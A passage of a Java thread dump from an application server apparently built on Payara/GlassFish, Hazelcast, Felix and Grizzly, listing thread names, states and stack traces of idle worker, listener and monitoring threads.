java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.DelayQueue.poll(DelayQueue.java:265) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Common-Cleaner" #12 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5f140091 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.13/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.13/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"hz.quizzical_elgamal.MetricsRegistry.thread-2" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cdc95f + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-2(3)" #103 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5db1ef81 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixDispatchQueue" #17 daemon [WAITING] on java.util.ArrayList@305c5eb9 + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FileSystemWatchService" #160 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@17.0.13/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-1" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #2" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.response-0" #44 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.partition-operation.thread-3" #49 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.cached.thread-4" #90 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@101d2eba + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"ForkJoinPool.commonPool-worker-1" #93 daemon [TIMED_WAITING] on java.util.concurrent.ForkJoinPool@2ee86a1b + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:410) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.awaitWork(ForkJoinPool.java:1737) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1634) + at java.base@17.0.13/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:165) + +"payara-executor-service-task" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e40e03 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-11" #30 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.migration" #71 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@774e5069 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"http-thread-pool::http-listener-2(5)" #105 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5db1ef81 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"http-thread-pool::http-listener-1(3)" #96 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e036223 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"hz.quizzical_elgamal.event-1" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@478cfb8a + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"RMI Scheduler(0)" #174 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6af8054d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GlassFish Kernel Main Thread" #149 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@79947027 + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:262) + +"GF Domain XML" #135 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.MetricsRegistry.thread-1" #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cdc95f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.SlowOperationDetectorThread" #63 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at java.base@17.0.13/java.lang.Thread.sleep(Thread.java:344) + at java.base@17.0.13/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"GF Domain XML" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@20766a5b + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.TcpServer.thread-4" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d5d65ec + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #136 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-2" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Logging output pump" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41e8233 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:152) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:130) + +"hz.quizzical_elgamal.HealthMonitor" #70 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at java.base@17.0.13/java.lang.Thread.sleep(Thread.java:344) + at java.base@17.0.13/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"http-thread-pool::http-listener-2(4)" #104 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5db1ef81 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"DestroyJavaVM" #150 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"hz.quizzical_elgamal.partition-operation.thread-7" #53 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.partition-operation.thread-1" #47 daemon 